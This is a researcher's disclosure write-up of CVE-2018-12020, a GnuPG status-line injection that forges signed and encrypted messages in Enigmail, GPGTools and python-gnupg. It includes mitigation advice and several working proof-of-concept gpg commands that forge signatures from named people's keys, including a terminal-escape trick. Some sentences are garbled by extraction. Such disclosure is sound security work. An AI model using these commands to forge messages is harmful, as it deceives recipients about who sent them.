GnuPG, Enigmail, GPGTools and potentially other applications using GnuPG can be attacked with in-band signaling similar to phreaking phone lines in the 1970s (“Cap’n Crunch”). We demonstrate this by creating messages that appear to be signed by arbitrary keys.
Previously, we showed how to spoof “encrypted” messages that were not actually encrypted. This time, we spoof “signed” messages that are not actually signed. And we show another way to spoof encryption, too.
This work would not have been possible without the collaboration with Kai Michaelis on CVE-2012-12019 at the Bochumer hacker space Das Labor. Fabian Ising from FH Münster verified the attack against GPGTools, Simon Wörner helped with the CVE. Thanks also to all the other people who gave me guidance and support behind the scenes!
I found a severe vulnerability in GnuPG, Enigmail, GPGTools and python-gnupg:
CVE-2018-12020: The signature verification routine in Enigmail 184.108.40.206, GPGTools 2018.2, and python-gnupg 0.4.2 parse the output of GnuPG 2.2.6 with a “
--status-fd 2” option, which allows remote attackers to spoof arbitrary signatures via the embedded “filename” parameter in OpenPGP literal data packets, if the user has the verbose option set in their
If you are a user:
gpg --verboseon the command line.
If you are a developer:
--no-verboseto all invocations of
This vulnerability is tracked under the following identifiers:
Distribution updates for GnuPG:
The screenshots below are from Enigmail and GPGTools, and apparently show a message with a valid signature (in the first case by Patrick Brunschwig, the Enigmail author). In reality, this message is an encrypted message without any signature at all.
This method relies on synergy between two unrelated weak design choices (or oversights) in GnuPG 2.2.7 and some applications:
--status-fd 2such that
stderrand the status messages are combined in a single data pipe. These applications try to separate the output lines afterwards based on the line prefix (which is
[GNUPG:]for status messages and
verboseenabled (either directly on the command line or indirectly through the
gpg.confconfiguration file), prints the “name of the encrypted file” (an obscure feature of OpenPGP under the control of the attacker) to
stderrwithout escaping newline characters.
The attacker can inject arbitrary (fake) GnuPG status messages into the application parser to spoof signature verification and message decryption results. The attacker can control the key ids, algorithm specifiers, creation times and user ids, and does not need any of the private or public keys involved.
The only limitation is that all status messages need to fit into 255 characters, which is the limit for the “name of the encrypted file” in OpenPGP.
Here is how to create a message that looks signed in
Enigmail, but is not actually signed (replace
VICTIM_KEYID by the
$ echo 'Please send me one of those expensive washing machines.' \ | gpg --armor -r VICTIM_KEYID --encrypt --set-filename "`echo -ne \''\ \n[GNUPG:] GOODSIG DB1187B9DD5F693B Patrick Brunschwig <email@example.com>\ \n[GNUPG:] VALIDSIG 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B 2018-05-31 1527721037 0 4 0 1 10 01 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B\ \n[GNUPG:] TRUST_FULLY 0 classic\ \ngpg: '\'`" > poc1.msg
Analyzing the message with GnupG (with
--verbose) leads to the following output:
$ cat poc1.msg | gpg --status-fd 2 --verbose ... (lots of output snipped) ... gpg: original file name='' [GNUPG:] GOODSIG DB1187B9DD5F693B Patrick Brunschwig <firstname.lastname@example.org> [GNUPG:] VALIDSIG 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B 2018-05-31 1527721037 0 4 0 1 10 01 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B [GNUPG:] TRUST_FULLY 0 classic gpg: '' [GNUPG:] PLAINTEXT 62 1528297411 '%0A[GNUPG:]%20GOODSIG%20DB1187B9DD5F693B%20Patrick%20Brunschwig%20<email@example.com>%0A[GNUPG:]%20VALIDSIG%204F9F89F5505AC1D1A260631CDB1187B9DD5F693B%202018-05-31%201527721037%200%204%200%201%2010%2001%204F9F89F5505AC1D1A260631CDB1187B9DD5F693B%0A[GNUPG:]%20TRUST_FULLY%200%20classic%0Agpg:%20' [GNUPG:] PLAINTEXT_LENGTH 56 ... (more output snipped) ...
The application processes the output line by line:
GOODSIGwill convince the application that the message is signed.
VALIDSIGgives additional information about the signature, such as creation time, algorithm identifiers, and the long fingerprint.
TRUST_FULLYindicates that the user trusts the key. This line may be omitted if the attacker knows that the recipient has not certified the spoofed signing key.
Normally, GnuPG emits many more status messages for a signed message, but applications usually do not pay much attention to those other messages, and do not fail if these are omitted.
The attack is very powerful, and the message does not even need to be encrypted at all. A single literal data (aka “plaintext”) packet is a perfectly valid OpenPGP message, and already contains the “name of the encrypted file” used in the attack, even though there is no encryption.
As a consequence, we can spoof the encryption as well. But because we need to inject more status messages, we need to drop some information that is unused in the application to make more space for what is needed.
Here is an example for a message that looks signed and encrypted in
Enigmail, but it is in fact neither. We use a shorter version of
VALIDSIG which is compatible with an older version of GnuPG that is
still supported by Enigmail, and add just enough status messages to
spoof an encrypted message for the signature.
echo "See you at the secret spot tomorrow 10am." | gpg --armor --store --compress-level 0 --set-filename "`echo -ne \''\ \n[GNUPG:] GOODSIG F2AD85AC1E42B368 Patrick Brunschwig <firstname.lastname@example.org>\ \n[GNUPG:] VALIDSIG F2AD85AC1E42B368 x 1527721037 0 4 0 1 10 01\ \n[GNUPG:] TRUST_FULLY\ \n[GNUPG:] BEGIN_DECRYPTION\ \n[GNUPG:] DECRYPTION_OKAY\ \n[GNUPG:] ENC_TO 50749F1E1C02AB32 1 0\ \ngpg: '\'`" > poc2.msg
This is how this message is displayed in Enigmail (if
There is one advantage to this method:
There are some disadvantages, too:
It is well known that email clients and other graphical user interfaces to GnuPG provide a larger attack surface than using GnuPG on the command line. For example, during the EFAIL vulnerability window, the EFF recommended to use the command line to read messages “in as safe a way as possible” on Linux, Windows and MacOS.
One of the few safe ways to verify signatures on the command line is documented in the “The GNU Privacy Handbook”:
To verify the signature and extract the document use the
--decryptoption. The signed document to verify and recover is input and the recovered document is output.
blake% gpg --output doc --decrypt doc.sig gpg: Signature made Fri Jun 4 12:02:38 1999 CDT using DSA key ID BB7576AC gpg: Good signature from "Alice (Judge) <email@example.com>"
Unfortunately, the attack might even work on the command line. Here we demonstrate how to get very close to spoofing signatures on the command line following the recommended decryption procedure, in a way that is portable across all operating systems and terminal types:
echo 'meet me at 10am' | gpg --armor --store --set-filename "`echo -ne msg\''\ \ngpg: Signature made Tue 12 Jun 2018 01:01:25 AM CEST\ \ngpg: using RSA key 1073E74EB38BD6D19476CBF8EA9DBF9FB761A677\ \ngpg: issuer "firstname.lastname@example.org"\ \ngpg: Good signature from "William Budington <email@example.com>" [full] '\''msg'`" > poc3.msg
When reading the message, the victim sees the following output (if
verbose is enabled in
$ gpg --output poc3.txt -d poc3.msg gpg: original file name='msg' gpg: Signature made Tue 12 Jun 2018 01:01:25 AM CEST gpg: using RSA key 1073E74EB38BD6D19476CBF8EA9DBF9FB761A677 gpg: issuer "firstname.lastname@example.org" gpg: Good signature from "William Budington <email@example.com>" [full] 'msg' $ cat poc3.txt meet me at 10am
The result is not a perfect match to the usual (no-verbose) output, but it is dangerously close. The main differences are:
'msg', because the attacker needs to hide the final apostrophe output by GnuPG. This is suspicious, but the victim might rationalise that by correlating this to the
original file namemessage.
A more sophisticated attack might use terminal capabilities to move the cursor and control the output color to hide some of these problems. This example works on terminals supporting ANSI/VT-100 escape sequences:
echo 'meet me at 10am' | gpg --armor --store --set-filename "`echo -ne \''\ \rgpg: Signature made Tue 12 Jun 2018 01:01:25 AM CEST\ \ngpg:\t\t using RSA key 1073E74EB38BD6D19476CBF8EA9DBF9FB761A677\ \ngpg:\t\t issuer "firstname.lastname@example.org"\ \ngpg: Good signature from "William Budington <email@example.com>" [full]\e[200C\e[1;37m'`"
Here we are using several advanced tricks:
\rmoves the cursor back to the beginning of the “original file name” line, allowing us to overwrite it.
\e[200Cpushes the single apostrophe 200 characters to the right, i.e. to the end of the line.
\e[1;37mmakes the single apostrophe bright white (assuming the user’s prompt will reset the color settings).
I have tried this on my standard terminal with the color scheme and prompt I use regularly, and although the terminal does distinguish “bright white” characters from the background color, the above approach hides the apostrophe quite well among the smudges on my screen:
verbose is not enabled, but several recommended
configurations for GnuPG include it, e.g. cooperpair sane
users might be interested in the additional details that
provides. And beginners might run into problems that require verbose
Some applications, such as
--verbose to GnuPG invocations unconditionally, and a
forward-thinking attacker could try to submit a “helpful patch” to
Enigmail or GPGTools, adding
--verbose to the list of
command line options “to make debugging easier.”
We have seen how to inject arbitrary status messages into applications using GnuPG to spoof signed and/or encrypted messages. The only assumptions we made were:
--status-fd 2, which causes log and status messages to be interspersed on the same output channel.
--verbosesetting is in effect when GnuPG is called, for example because
verboseis included in the user’s
gpg.confconfiguration file for GnuPG.
We found that the following applications or libraries use
2 and do not use
--no-verbose, and thus are vulnerable to the
attack if the user has
Any software that calls
--status-fd 2 is
potentially affected, unless it also adds
The vulnerability in GnuPG goes deep and has the potential to affect a large part of our core infrastructure. GnuPG is not only used for email security, but also to secure backups, software updates in distributions, and source code in version control systems like Git.
In the course of a due diligence investigation over two weeks to assess the impact of the vulnerability, I have found several near misses:
--verboseby default, but does use a status file descriptor separate from
stderr. So it is not vulnerable to this attack.
--status-fd 2to create signatures, but it uses
--status-fd 1to verify (detached) signatures. Due to this happy circumstance it is not vulnerable to this attack.
--status-fd 1to verify detached signatures, and is not vulnerable to this attack.
--status-fd 2and pattern matching, but add
--no-verbose, too. Users with this configuration are not vulnerable to this attack.
gpg.conf, if you have it.
gpg --verboseon the command line.
--no-verboseto disable the attack.
--status-fd, and do not share it with
--batch --log-file FILEto redirect the
/dev/null, too. Thanks to Patrick Brunschwig for this idea!
--status-file FILEoption could be used to direct the status lines to a temporary file.
original file namelog message (it is redundant with the
stderrand the status fd are the same file descriptor, and abort operation in that case. This is a breaking change, but it will prevent similar problems in the future.